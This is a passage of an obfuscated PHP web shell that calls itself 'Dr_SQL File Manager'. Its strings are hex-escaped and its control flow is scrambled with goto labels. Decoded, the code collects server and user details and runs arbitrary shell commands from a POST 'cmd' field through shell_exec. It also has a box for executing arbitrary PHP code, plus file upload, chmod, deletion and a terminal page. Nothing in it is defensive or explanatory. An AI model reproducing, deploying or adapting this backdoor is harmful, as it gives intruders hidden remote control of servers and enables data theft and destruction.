x64\x64\x69\156\x67\72\40\62\x70\170\40\x36\x70\x78\73\x20\155\x61\162\x67\151\x6e\72\x20\60\x20\x32\160\x78\x3b\x20\x74\145\170\x74\55\144\x65\143\157\x72\141\164\151\x6f\x6e\72\x20\156\157\156\x65\73\x20\146\157\156\164\55\163\x69\x7a\x65\72\x20\70\x70\164\x3b\40\x7d\12\40\40\40\40\40\40\x20\40\56\142\164\x6e\x3a\150\157\x76\145\162\40\x7b\x20\x62\x61\x63\x6b\x67\162\157\165\156\x64\72\40\43\67\x39\x61\63\x31\x37\73\x20\x63\157\x6c\x6f\x72\72\x20\x62\x6c\x61\143\153\73\x20\175\12\40\x20\x20\x20\x20\x20\40\40\56\150\x69\x64\x64\x65\x6e\x20\x7b\x20\x64\151\x73\160\154\141\x79\72\x20\156\157\156\145\x3b\x20\x7d\xa\x20\40\x20\x20\40\x20\40\x20\x2e\x70\157\x70\165\x70\x20\x7b\40\x62\141\x63\153\147\x72\157\x75\x6e\x64\72\40\43\62\x32\x32\73\40\160\x61\144\x64\151\x6e\147\x3a\40\61\x30\160\x78\x3b\x20\142\157\x72\144\145\x72\72\40\61\x70\x78\x20\x73\x6f\x6c\x69\144\40\43\65\65\65\x3b\x20\142\x6f\162\x64\x65\162\55\162\x61\x64\151\165\163\x3a\40\65\x70\170\x3b\x20\x70\x6f\163\151\164\x69\157\156\72\40\x61\142\163\157\x6c\165\164\x65\73\x20\172\55\151\156\144\x65\x78\72\x20\61\60\73\x20\x7d\xa\x20\x20\40\40\40\x20\x20\x20\43\155\145\156\x75\x20\x7b\12\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x6d\141\162\147\151\x6e\55\164\x6f\x70\x3a\40\x34\60\x70\170\73\12\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\x74\x65\170\164\55\x61\x6c\x69\x67\x6e\x3a\x20\x63\145\156\164\145\x72\x3b\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\146\157\156\x74\55\146\x61\x6d\151\154\171\x3a\x20\x27\103\x6f\x75\x72\151\x65\162\40\x4e\145\167\47\x2c\40\x6d\x6f\x6e\x6f\x73\160\x61\143\145\73\12\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\146\157\x6e\164\55\x73\151\172\145\x3a\x20\61\64\160\x78\73\12\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\143\157\x6c\157\162\72\x20\43\x37\x39\x61\63\x31\x37\x3b\xa\x20\40\x20\40\40\x20\40\40\175\xa\x20\40\x20\40\40\40\40\x20\x23\155\145\156\165\102\40\141\40\x7b\xa\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x63\x6f\154\x6f\162\72\x20\43\67\71\141\63\x31\67\73\12\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\40\164\x65\170\x74\x2d\x64\x65\143\x6f\162\x61\164\x69\157\156\x3a\x20\156\x6f\x6e\145\x3b\xa\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\160\x61\x64\x64\151\x6e\x67\72\40\64\160\170\x20\x38\160\170\73\xa\40\40\40\x20\40\x20\40\x20\40\40\x20\40\142\x6f\162\x64\x65\162\55\x72\141\x64\x69\x75\163\x3a\40\63\160\170\73\xa\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\164\162\141\x6e\163\x69\x74\151\157\x6e\72\x20\x61\154\154\x20\x30\x2e\x32\163\40\x65\141\x73\145\73\12\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\144\151\163\160\154\x61\x79\x3a\40\151\x6e\x6c\x69\x6e\145\x2d\x62\x6c\157\x63\x6b\73\12\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\155\x61\x72\x67\x69\156\72\40\x30\40\x34\x70\170\73\xa\40\x20\x20\40\x20\40\40\x20\x7d\xa\x20\x20\x20\x20\40\40\40\40\43\x6d\145\156\x75\x42\x20\141\x3a\150\x6f\166\145\162\40\x7b\12\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\142\x61\x63\153\147\162\157\x75\x6e\144\x3a\x20\x72\x67\142\x61\x28\61\62\61\54\40\61\x36\x33\x2c\x20\x32\x33\54\40\x30\56\x32\x29\x3b\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\164\x72\x61\x6e\163\146\157\x72\155\x3a\x20\x74\162\x61\156\x73\x6c\141\x74\145\131\x28\x2d\x31\x70\170\x29\x3b\12\40\x20\x20\40\40\x20\40\40\x7d\xa\x20\40\x20\40\74\57\163\x74\x79\x6c\145\x3e\xa\x20\x20\40\40\74\163\143\162\151\x70\164\76\12\40\40\x20\x20\x20\40\40\x20\146\x75\x6e\x63\164\151\157\x6e\40\x74\157\147\x67\154\x65\x50\x6f\x70\165\x70\50\151\144\51\40\x7b\xa\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x6c\x65\x74\x20\x65\154\x20\x3d\40\144\x6f\x63\165\x6d\145\156\x74\x2e\x67\145\x74\x45\154\145\155\145\x6e\164\x42\171\x49\144\50\x69\x64\x29\x3b\12\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x65\x6c\x2e\x73\164\x79\154\145\x2e\x64\151\x73\160\x6c\x61\171\x20\75\x20\x65\154\56\163\164\x79\x6c\x65\56\144\151\x73\x70\x6c\x61\171\40\75\75\x3d\x20\47\142\x6c\x6f\143\153\x27\40\x3f\40\47\x6e\157\156\x65\x27\x20\72\x20\x27\x62\x6c\x6f\143\x6b\47\73\xa\x20\x20\40\40\40\x20\40\40\175\xa\40\x20\40\40\x20\x20\40\40\146\x75\156\x63\x74\151\157\x6e\x20\143\x6c\157\163\145\120\x6f\x70\x75\160\x28\151\x64\x29\x20\x7b\xa\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x64\x6f\x63\x75\x6d\145\x6e\x74\x2e\x67\145\164\105\154\x65\155\x65\156\x74\x42\171\111\144\50\x69\144\51\56\x73\164\x79\x6c\145\56\x64\x69\x73\x70\154\x61\171\40\75\x20\x27\x6e\157\x6e\x65\47\x3b\12\40\x20\x20\x20\x20\40\40\40\x7d\12\40\40\x20\40\74\57\163\x63\x72\x69\160\x74\x3e\xa\x3c\57\150\145\x61\144\76\12\74\x62\157\x64\171\x3e\12\xa\74\144\x69\x76\x20\143\x6c\x61\x73\163\x3d\42\x68\x65\141\144\145\x72\x22\76\12\40\40\40\40\74\150\x32\40\x73\164\171\154\145\x3d\x22\143\x6f\x6c\x6f\x72\72\43\67\x39\141\63\61\67\73\x20\155\x61\x72\x67\151\x6e\x3a\60\x3b\x22\x3e\360\x9f\223\x81\x20\104\x72\137\x53\x51\114\40\x46\151\154\145\x20\x4d\141\x6e\141\x67\145\x72\74\57\150\62\x3e\12\x20\40\40\40\74\141\x20\150\162\145\x66\x3d\x22\x3f\170\x3d\151\x6e\x66\157\46\x64\x3d{$uM10d}\x22\x20\163\164\171\154\x65\x3d\42\143\157\154\x6f\162\x3a\x23\x37\71\x61\63\61\x37\x3b\x22\76\133\111\x6e\146\157\x5d\74\x2f\x61\x3e\12\74\57\x64\151\x76\x3e\12\xa\x3c\x64\x69\166\40\143\x6c\141\163\163\x3d\x22\x62\x72\145\x61\144\x63\162\x75\x6d\x62\42\76{$sl4HH}\74\57\x64\x69\x76\76\12\12\x3c\x64\151\166\x20\143\154\x61\163\163\x3d\x22\x61\x63\x74\x69\157\156\x73\x22\x3e\12\40\x20\x20\40\x3c\146\x6f\x72\x6d\40\x6d\145\x74\x68\157\x64\75\42\120\x4f\x53\124\x22\76\12\40\40\x20\40\x20\40\x20\x20\x3c\151\x6e\160\x75\x74\x20\x74\x79\160\x65\x3d\x22\x68\151\x64\x64\x65\156\42\x20\x6e\141\155\145\x3d\x22\x61\x63\164\151\x6f\x6e\42\40\166\x61\154\165\145\75\x22\x6d\153\x64\x69\162\x22\76\xa\x20\x20\40\40\40\40\40\x20\74\151\156\x70\165\164\x20\164\x79\x70\x65\x3d\42\164\x65\x78\x74\x22\x20\156\141\155\x65\x3d\42\x6e\141\x6d\x65\42\40\x70\154\x61\143\145\150\x6f\154\144\145\162\75\42\x4e\145\x77\x20\x46\x6f\154\x64\145\x72\x22\x20\x72\x65\x71\x75\x69\x72\145\144\76\12\x20\40\x20\x20\x20\40\x20\40\74\142\165\164\x74\x6f\x6e\x20\x74\x79\160\145\75\42\163\165\142\x6d\151\164\42\x3e\xf0\x9f\223\201\x20\x43\x72\145\x61\x74\145\x20\x44\x69\x72\x3c\x2f\x62\x75\164\164\x6f\156\76\12\x20\40\40\40\x3c\57\x66\x6f\x72\155\x3e\12\40\40\40\40\74\146\x6f\x72\155\40\155\145\164\150\157\x64\75\x22\x50\117\x53\124\x22\x3e\xa\40\x20\40\40\40\x20\40\x20\x3c\151\156\x70\x75\x74\x20\x74\x79\160\x65\x3d\x22\x68\151\144\144\145\x6e\x22\40\156\x61\155\145\75\x22\141\x63\164\x69\x6f\156\x22\x20\166\x61\154\x75\x65\x3d\x22\x6d\153\146\151\154\145\42\76\xa\40\x20\40\x20\x20\40\x20\x20\x3c\x69\x6e\160\x75\164\x20\x74\171\160\x65\75\42\x74\x65\x78\x74\42\x20\156\x61\155\x65\75\x22\156\x61\x6d\x65\42\40\x70\154\141\x63\x65\150\157\154\x64\145\162\75\42\x4e\x65\x77\x20\x46\151\154\x65\42\x20\162\x65\x71\x75\x69\162\145\144\x3e\xa\40\40\x20\x20\40\x20\x20\40\74\142\165\164\x74\157\x6e\40\x74\171\160\x65\75\x22\163\165\x62\x6d\x69\164\x22\76\xf0\237\x93\204\x20\x43\x72\145\x61\164\145\40\x46\151\x6c\145\74\x2f\142\165\x74\164\x6f\156\76\xa\x20\x20\x20\40\x3c\57\x66\x6f\162\x6d\76\12\x20\x20\x20\x20\x3c\146\x6f\x72\x6d\40\155\x65\x74\x68\157\144\x3d\42\x50\117\123\124\x22\40\141\x63\164\x69\x6f\156\x3d\42\x3f\170\x3d\x63\x6d\144\46\144\x3d{$uM10d}\42\x3e\12\40\40\x20\x20\x20\x20\x20\40\74\151\156\x70\165\x74\x20\x74\171\160\145\75\42\164\x65\x78\x74\42\x20\156\x61\x6d\x65\x3d\42\x63\x6d\x64\42\40\x70\154\x61\x63\145\x68\157\154\x64\145\162\75\42\x43\157\155\x6d\x61\x6e\144\42\40\162\145\x71\165\151\162\x65\144\76\12\x20\40\x20\x20\40\40\x20\x20\x3c\142\x75\164\164\157\156\x20\x74\x79\x70\145\x3d\x22\163\x75\x62\155\x69\164\x22\x3e\360\237\x92\xbb\x20\103\x4d\104\x3c\x2f\x62\165\164\x74\157\156\76\xa\40\40\x20\x20\x3c\x2f\x66\157\162\x6d\x3e\12\x20\x20\40\x20\x3c\x66\x6f\162\155\40\155\x65\164\x68\x6f\x64\x3d\42\120\117\123\x54\42\40\145\156\143\164\171\160\x65\75\42\x6d\165\x6c\164\151\x70\x61\162\164\x2f\x66\157\x72\155\55\x64\141\164\x61\x22\76\xa\x20\x20\40\40\40\x20\x20\40\74\x69\156\x70\x75\164\x20\x74\171\x70\x65\75\x22\150\151\144\x64\x65\x6e\x22\40\156\141\155\x65\x3d\x22\141\x63\164\151\157\156\x22\x20\x76\141\154\165\x65\75\x22\165\x70\154\x6f\141\x64\42\76\xa\x20\x20\40\40\40\x20\x20\40\74\151\156\x70\x75\x74\40\164\x79\160\145\x3d\42\x66\x69\154\145\x22\x20\x6e\141\155\145\75\42\x66\x69\154\x65\42\40\162\x65\x71\165\151\162\x65\144\x3e\xa\40\40\40\40\x20\x20\40\40\x3c\x62\165\x74\x74\x6f\x6e\x20\x74\x79\x70\145\x3d\42\163\x75\x62\x6d\x69\x74\x22\x3e\xe2\254\x86\357\270\x8f\x20\x55\160\x6c\157\141\x64\x3c\57\x62\x75\x74\x74\x6f\156\76\12\40\40\x20\40\x3c\x2f\x66\x6f\x72\155\76\12\x3c\x2f\144\151\166\x3e\12"; goto OfNls; euK9P: $C8s0o = ["\120\x48\x50\x20\x56\145\x72\x73\151\157\x6e" => phpversion(), "\123\145\162\166\x65\162\40\x53\157\146\x74\167\141\x72\x65" => $_SERVER["\x53\x45\122\x56\x45\122\x5f\x53\x4f\106\124\127\x41\x52\x45"] ?? "\125\156\x6b\x6e\157\x77\156", "\125\156\x61\155\145" => php_uname(), "\125\163\145\162" => get_current_user() . "\40\x28\x75\x69\144\72" . getmyuid() . "\40\x67\151\x64\x3a" . getmygid() . "\x29", "\x53\x61\146\x65\40\115\157\x64\145" => ini_get("\x73\141\x66\145\137\155\157\x64\145") ? "\117\116" : "\117\x46\106", "\x4f\160\x65\x6e\40\x42\x61\163\x65\x44\x69\162" => ini_get("\157\x70\145\x6e\x5f\x62\141\163\x65\x64\151\162") ?: "\x4f\x46\x46", "\115\x79\123\x51\114" => function_exists("\x6d\x79\x73\x71\x6c\151\137\143\x6f\156\156\145\143\164") ? "\117\116" : "\x4f\x46\x46", "\103\165\162\x6c" => extension_loaded("\x63\x75\162\154") ? "\x4f\116" : "\117\x46\x46", "\104\x69\163\x6b\40\124\x6f\x74\x61\154" => @disk_total_space("\x2f") ? round(@disk_total_space("\57") / 1024 ** 3, 2) . "\40\x47\102" : "\116\57\x41", "\104\x69\x73\x6b\x20\106\162\x65\145" => @disk_free_space("\x2f") ? round(@disk_free_space("\57") / 1024 ** 3, 2) . "\x20\x47\x42" : "\116\x2f\101", "\131\157\165\x72\40\x49\120" => $_SERVER["\x52\x45\115\117\x54\x45\137\101\x44\104\122"] ?? "\116\x2f\x41", "\x53\x65\162\x76\x65\162\x20\111\120" => $_SERVER["\x53\x45\122\126\105\x52\x5f\x41\104\104\x52"] ?? "\116\57\x41"]; goto iNBK9; KbSm0: echo "\x3c\x70\162\x65\76" . $UmiPm . "\x3c\x2f\160\162\145\x3e"; goto qoFW2; UAjSA: echo "\74\x64\x69\x76\x20\x63\x6c\141\163\163\75\42\163\x75\x63\x63\145\x73\163\x22\x3e\xe2\234\x85\x20\106\151\x6c\145\40\x73\141\166\145\x64\40\163\165\x63\x63\x65\163\163\x66\165\154\154\171\41\x3c\57\144\151\x76\x3e"; goto Zj1xK; BlGCI: print "\74\x68\x74\155\154\76\12\74\150\x65\x61\144\x3e\12\40\x20\x20\x20\74\164\x69\x74\154\145\x3e\x54\x65\162\x6d\x69\156\x61\x6c\x3c\57\164\x69\164\154\x65\76\12\40\40\40\x20\x3c\163\x74\171\x6c\x65\76\xa\40\x20\40\40\40\x20\x20\x20\142\157\x64\x79\40\173\x20\142\141\x63\x6b\147\x72\157\x75\156\144\72\x20\x23\62\62\x32\73\40\143\x6f\154\x6f\x72\x3a\x20\x23\x30\x66\x30\73\x20\146\157\x6e\164\72\40\x31\60\x70\164\x20\x27\103\157\165\x72\151\145\x72\40\116\145\x77\x27\54\x20\155\157\156\157\163\160\141\143\x65\x3b\x20\x6d\x61\162\x67\x69\x6e\x3a\40\x30\73\x20\160\x61\144\x64\151\156\x67\x3a\x20\61\65\x70\x78\73\40\175\12\40\40\x20\40\x20\40\x20\x20\x61\x20\x7b\40\143\157\154\x6f\x72\x3a\x20\43\x37\71\x61\63\x31\x37\x3b\x20\x74\x65\x78\164\x2d\x64\x65\143\157\x72\x61\x74\x69\x6f\x6e\x3a\x20\156\157\156\145\73\40\175\12\40\40\40\40\x20\40\x20\x20\x61\x3a\150\x6f\166\x65\162\40\x7b\x20\164\145\170\164\x2d\x64\x65\143\x6f\162\x61\164\151\x6f\156\72\x20\165\156\x64\145\162\154\x69\x6e\x65\x3b\x20\x7d\12\40\x20\40\40\x20\x20\x20\40\56\150\x65\141\x64\x65\162\x20\173\40\x64\151\x73\160\154\141\x79\72\40\146\x6c\x65\x78\73\40\152\165\163\x74\151\146\x79\55\x63\x6f\x6e\164\x65\x6e\x74\x3a\x20\x73\160\141\143\x65\55\142\145\x74\x77\x65\x65\x6e\73\x20\x61\154\x69\147\156\x2d\x69\x74\145\155\163\72\x20\143\x65\x6e\164\145\162\x3b\40\x6d\141\162\147\151\156\x2d\142\157\164\x74\157\x6d\72\x20\x31\65\x70\x78\x3b\40\x7d\xa\x20\x20\40\x20\40\x20\40\40\x2e\164\x65\x72\155\151\x6e\x61\154\x2d\x62\x6f\170\40\x7b\xa\40\40\40\40\40\40\x20\40\x20\40\x20\40\142\x61\143\x6b\147\x72\157\165\156\x64\72\x20\x23\60\60\60\73\40\x62\x6f\x72\144\x65\162\72\x20\61\160\170\x20\x73\157\154\x69\144\40\43\65\65\x35\x3b\40\142\x6f\x72\x64\145\x72\x2d\x72\x61\x64\151\165\163\72\x20\65\160\x78\73\x20\x70\141\144\x64\x69\156\147\x3a\40\x31\62\160\x78\73\12\40\x20\40\x20\x20\40\40\x20\175\12\x20\40\40\x20\40\40\40\40\x70\162\x65\x20\x7b\40\155\x61\x72\147\151\156\x3a\40\x30\x3b\x20\x77\150\x69\x74\x65\x2d\x73\x70\x61\143\x65\x3a\x20\160\162\145\55\167\162\141\160\x3b\40\143\157\154\x6f\162\x3a\40\x23\x30\146\60\73\x20\x7d\12\40\x20\40\40\x20\40\40\40\x69\156\x70\x75\x74\133\x74\171\x70\145\x3d\42\164\x65\x78\x74\42\135\x20\173\xa\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\167\151\144\x74\150\x3a\40\x31\x30\x30\x25\x3b\x20\160\141\x64\144\x69\x6e\147\x3a\x20\70\x70\x78\x3b\40\x62\x61\x63\x6b\x67\162\x6f\x75\x6e\144\72\40\43\x30\x30\60\73\x20\x63\x6f\154\x6f\x72\72\40\x23\60\146\60\x3b\x20\x62\x6f\x72\144\x65\x72\72\40\61\160\170\40\x73\157\x6c\151\144\x20\43\65\x35\x35\73\x20\142\157\162\144\145\x72\x2d\x72\141\x64\x69\x75\163\72\x20\64\160\x78\73\12\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\146\157\x6e\164\x2d\x66\x61\155\151\x6c\171\72\x20\x27\103\157\x75\x72\151\x65\x72\x20\116\x65\x77\47\54\40\x6d\157\x6e\x6f\x73\160\x61\143\x65\73\xa\40\x20\40\x20\40\x20\40\40\175\12\x20\x20\40\40\40\x20\x20\40\x62\x75\x74\164\157\x6e\40\173\xa\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x62\x61\x63\x6b\x67\162\x6f\x75\156\x64\72\40\x23\64\64\x34\x3b\40\x63\x6f\x6c\x6f\162\x3a\40\x23\67\71\141\63\x31\x37\73\x20\x62\x6f\x72\144\145\x72\72\40\x31\160\170\40\x73\157\154\x69\144\40\x23\65\65\x35\73\x20\142\x6f\162\x64\x65\x72\55\x72\x61\x64\151\x75\x73\72\40\64\x70\170\x3b\x20\x70\x61\x64\x64\151\156\x67\x3a\40\x38\x70\x78\x20\61\65\160\x78\73\12\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\155\x61\x72\147\151\156\55\x74\157\160\72\40\61\60\x70\170\73\x20\143\x75\162\x73\x6f\x72\x3a\x20\x70\157\151\156\164\x65\162\73\xa\x20\40\40\x20\40\40\40\40\175\xa\40\x20\40\x20\40\40\40\40\43\155\x65\156\165\x20\x7b\xa\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\155\x61\162\147\x69\156\x2d\x74\157\160\72\40\64\x30\160\x78\73\xa\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x74\145\x78\164\55\x61\154\x69\147\x6e\72\x20\x63\145\156\x74\145\x72\x3b\12\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x66\x6f\156\164\55\146\141\155\x69\x6c\x79\x3a\x20\x27\103\157\165\162\x69\x65\x72\x20\116\x65\x77\x27\54\x20\155\x6f\x6e\x6f\x73\x70\141\x63\145\73\12\40\40\x20\x20\x20\x20\40\40\40\x20\40\40\x66\157\156\164\55\163\151\x7a\x65\72\40\x31\64\x70\170\x3b\xa\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\143\157\x6c\157\x72\x3a\40\x23\67\x39\141\x33\61\67\73\12\x20\x20\x20\x20\40\40\x20\40\175\12\40\x20\40\x20\x20\40\40\40\43\x6d\x65\x6e\165\x42\40\141\40\x7b\12\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\143\x6f\154\157\x72\x3a\40\x23\x37\71\141\63\x31\67\x3b\xa\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\x74\x65\x78\164\55\144\145\x63\157\162\x61\x74\x69\x6f\x6e\x3a\40\x6e\x6f\x6e\x65\73\12\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x70\x61\x64\x64\x69\x6e\x67\x3a\40\x34\160\x78\x20\70\160\170\73\xa\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x62\157\162\x64\x65\x72\55\162\141\144\151\x75\x73\72\40\63\160\170\73\12\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\164\162\141\x6e\163\x69\x74\151\x6f\156\72\x20\x61\x6c\x6c\40\60\x2e\x32\163\x20\x65\x61\163\x65\x3b\12\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\x64\151\x73\160\154\x61\x79\72\x20\x69\156\x6c\151\x6e\x65\55\142\x6c\x6f\x63\153\x3b\xa\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\155\x61\162\147\151\x6e\x3a\x20\60\x20\64\160\170\x3b\xa\40\40\x20\x20\40\40\x20\x20\175\xa\x20\x20\40\x20\40\x20\40\40\x23\155\x65\156\x75\x42\x20\141\x3a\150\157\x76\145\162\x20\173\xa\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\142\x61\x63\x6b\147\x72\157\x75\x6e\144\72\40\162\147\x62\141\50\x31\62\61\x2c\40\x31\66\x33\54\40\x32\63\x2c\40\x30\x2e\x32\51\x3b\xa\40\40\40\x20\x20\40\40\x20\40\x20\40\40\164\162\141\156\163\146\x6f\x72\155\72\x20\x74\x72\141\156\163\154\141\x74\145\x59\x28\x2d\x31\160\x78\51\73\12\x20\40\40\40\40\40\x20\40\x7d\xa\40\x20\40\40\74\x2f\163\x74\x79\x6c\x65\76\12\74\x2f\x68\145\141\144\x3e\xa\x3c\x62\157\x64\171\x3e\12\74\144\x69\166\40\143\x6c\x61\163\163\x3d\42\150\x65\141\x64\x65\x72\x22\76\xa\x20\40\40\40\74\150\62\x20\x73\x74\x79\154\145\x3d\x22\143\x6f\x6c\157\162\72\x23\67\71\x61\x33\61\67\x3b\40\155\141\x72\x67\x69\x6e\72\x30\73\x22\x3e\360\x9f\222\xbb\x20\x54\x65\162\x6d\x69\156\141\154\74\57\x68\62\x3e\xa\40\x20\x20\40\x3c\x61\x20\150\x72\145\x66\x3d\42{$xUG22}\42\40\x73\x74\x79\x6c\145\75\x22\143\x6f\154\x6f\162\x3a\x23\67\71\x61\63\61\x37\x3b\42\76\342\206\x90\x20\102\x61\x63\153\40\164\157\x20\x46\151\x6c\145\x73\74\x2f\x61\x3e\12\x3c\x2f\144\x69\x76\76\xa"; goto gLB6j; w2Jro: if (!($AEGCe === "\x2e" || $AEGCe === "\56\x2e")) { goto k6kX5; } goto zK_gr; dvLwJ: echo "\x3c\x62\165\164\164\157\156\40\164\171\x70\145\75\42\x73\165\142\x6d\x69\x74\x22\x3e\122\x75\x6e\x3c\57\x62\x75\x74\164\x6f\x6e\76"; goto J6AOC; sspAz: Yiruc: goto VHWz3; S3ou4: $UmiPm = ''; goto BvUzk; Miu2c: YzKlB: goto FF22a; HiMab: dnxq_: goto QaCWM; HLtio: @chmod($_POST["\x70\141\164\x68"], octdec($_POST["\x6d\x6f\x64\145"])); goto dMkfT; X6ekh: if (!(($AEGCe = readdir($Hjoi4)) !== false)) { goto aQo0R; } goto w2Jro; FChNs: print "\x3c\57\142\157\144\171\x3e\74\x2f\x68\164\x6d\x6c\x3e"; goto jouYJ; FF22a: $CY6pb = @shell_exec($_POST["\x63\x6d\144"]); goto WpQ4C; F2ts2: echo "\74\x66\157\x72\x6d\40\x6d\145\164\x68\x6f\144\75\42\120\x4f\123\124\42\x20\x61\x63\164\x69\x6f\156\75\42" . $srD6T . "\x22\76"; goto g213D; JSW82: @unlink($npEaf); goto jYDeE; hoTpJ: echo "\x3c\164\145\170\x74\x61\162\x65\x61\x20\x6e\141\x6d\x65\x3d\x22\143\x6f\x64\145\x22\40\x70\x6c\x61\143\x65\150\157\x6c\x64\x65\162\75\x22\105\x6e\164\x65\162\40\x50\110\120\x20\x63\157\144\145\x20\x28\x77\x69\164\150\157\165\164\40\x3c\x3f\x70\150\160\51\x22\x20\x61\165\x74\x6f\146\157\x63\165\x73\x3e" . ($ho70p ? $ho70p : '') . "\74\57\164\x65\x78\164\141\x72\x65\x61\76"; goto HVknY; x4yvC: echo "\x3c\57\164\x62\157\x64\x79\x3e\x3c\x2f\164\141\142\154\145\76"; goto JnpU0; SuiaA: YTuxz: goto TGacj; f2mQh: $UVlkq = urldecode($_GET["\x64"]); goto whr9F; GD0DI: echo "\74\57\x74\x61\142\154\x65\x3e\74\x62\162\76\74\x61\40\x68\x72\x65\x66\75\x22\77\42\40\163\164\171\x6c\145\75\42\x63\157\x6c\x6f\x72\x3a\43\67\71\x61\63\x31\x37\x3b\42\x3e\342\x86\220\40\x42\x61\x63\x6b\74\57\141\76"; goto fwSae; IIqv_: if (!($_GET["\170"] === "\160\150\160")) { goto QS3Gi; } goto S3ou4; sDoNN: if (!($_GET["\141\143\x74\151\157\x6e"] === "\144\x65\x6c\x65\x74\145\x5f\x64\151\162" && !empty($_GET["\x70\141\x74\150"]))) { goto Yiruc; } goto ajdc8; gTWNa: if (!($_GET["\170"] === "\x63\155\144")) { goto HiV9d; } goto aCOHD; xdWhI: GfMnK: goto sspAz; r2E7R: $MCQuF = "\77\170\x3d\x63\x6d\144\x26\144\75" . urlencode($CrCGH); goto Tu4h2; J31g1: if (function_exists("\163\x68\x65\154\154\137\x65\x78\x65\x63")) { goto YzKlB; } goto as4QI; V3OA2: QS3Gi: goto zn_bw; vCQ3d: @chdir($UVlkq); goto o9qR3; whr9F: if (!(realpath($UVlkq) && is_dir($UVlkq))) { goto YTuxz; } goto vCQ3d; LY_W7: MTa6c: goto Y95M1; N1Lpc: goto g_EWQ; goto cOshD; KNjmr: if (!isset($_GET["\x64"])) { goto rySos; } goto f2mQh; C5LIO: function UC4yi($ZC04U, $WT0AV, $zwVmY) { goto iPkwy; FAxFT: return $zwVmY["\166\151\144\145\157"]; goto o1Td7; H4ENZ: $zipTy = ["\172\151\x70", "\164\141\162", "\147\x7a", "\162\141\x72", "\67\x7a", "\142\172\x32"]; goto Cyol7; wmYw8: return $zwVmY["\x64\157\143"]; goto XXc9x; XXc9x: kJmnq: goto mU9D_; qSh0Q: $cfvVP = @file_get_contents($ZC04U, false, null, 0, 1000); goto DrMXz; hGcfE: if (!in_array($WTgvK, $lPQKl)) { goto F77rV; } goto a_cJp; FWQKa: $MhikF = ["\160\x64\146", "\x64\157\x63", "\144\x6f\143\x78", "\170\x6c\x73", "\x78\x6c\163\170", "\x70\160\x74", "\160\160\164\170", "\157\x64\164", "\x6f\144\x73", "\164\170\x74"]; goto hGcfE; LMRAb: $WTgvK = strtolower(pathinfo($ZC04U, PATHINFO_EXTENSION)); goto z3Ya1; N312q: if (!in_array($WTgvK, $agkeX)) { goto lSrW0; } goto iQS72; iQS72: return $zwVmY["\x61\x75\x64\151\157"]; goto OBt4S; Cyol7: $cG9cp = ["\x70\150\x70", "\x6a\163", "\x68\x74\155\x6c", "\x63\163\x73", "\x70\x79", "\163\x68", "\x70\154", "\162\142", "\147\x6f", "\152\141\166\141", "\x63", "\x63\160\160", "\x68", "\163\161\154", "\x78\155\x6c", "\x6a\x73\x6f\x6e", "\171\155\154", "\x79\x61\x6d\154", "\155\x64", "\x74\170\164"]; goto FWQKa; I90VV: xMCf5: goto LMRAb; u5iM5: $G4PPO = ["\x6d\160\64", "\155\x6b\166", "\x61\166\x69", "\155\157\166", "\167\145\142\x6d", "\146\154\166"]; goto aYbHS; PCaQo: jkJ0r: goto SoAV8; DrMXz: if (!($cfvVP !== false && !ctype_print(str_replace(["\xd", "\12", "\11"], '', $cfvVP)))) { goto jkJ0r; } goto RN92r; wruZR: return $zwVmY["\x61\162\143\150\x69\166\145"]; goto ICRgN; z3Ya1: $lPQKl = ["\x6a\x70\147", "\x6a\160\145\147", "\160\x6e\147", "\147\x69\146", "\142\x6d\x70", "\167\x65\142\160", "\163\x76\x67"]; goto u5iM5; vzxic: if (!in_array($WTgvK, $MhikF)) { goto kJmnq; } goto wmYw8; o1Td7: w0cTV: goto N312q; ooIY7: if (!in_array($WTgvK, $G4PPO)) { goto w0cTV; } goto FAxFT; NrE9D: p6bDt: goto vzxic; mU9D_: if (!(is_file($ZC04U) && filesize($ZC04U) > 0)) { goto B2xI2; } goto qSh0Q; SVidT: F77rV: goto ooIY7; iPkwy: if (!$WT0AV) { goto xMCf5; } goto wZIfV; kiurX: return $zwVmY["\144\x65\x66\141\x75\154\x74"]; goto oTjE0; wZIfV: return $zwVmY["\146\157\x6c\x64\145\x72"]; goto I90VV; SoAV8: B2xI2: goto kiurX; OBt4S: lSrW0: goto AdNli; aYbHS: $agkeX = ["\155\160\x33", "\167\x61\166", "\157\x67\x67", "\x66\x6c\x61\143", "\x61\141\143"]; goto H4ENZ; ICRgN: ZPG3L: goto uSJQ5; a_cJp: return $zwVmY["\151\x6d\141\147\x65"]; goto SVidT; AdNli: if (!in_array($WTgvK, $zipTy)) { goto ZPG3L; } goto wruZR; uSJQ5: if (!in_array($WTgvK, $cG9cp)) { goto p6bDt; } goto pLZHy; RN92r: return $zwVmY["\x62\x69\x6e\141\162\x79"]; goto PCaQo; pLZHy: return $zwVmY["\x63\x6f\x64\145"]; goto NrE9D; oTjE0: } goto H5Wm0; BKDTB: echo 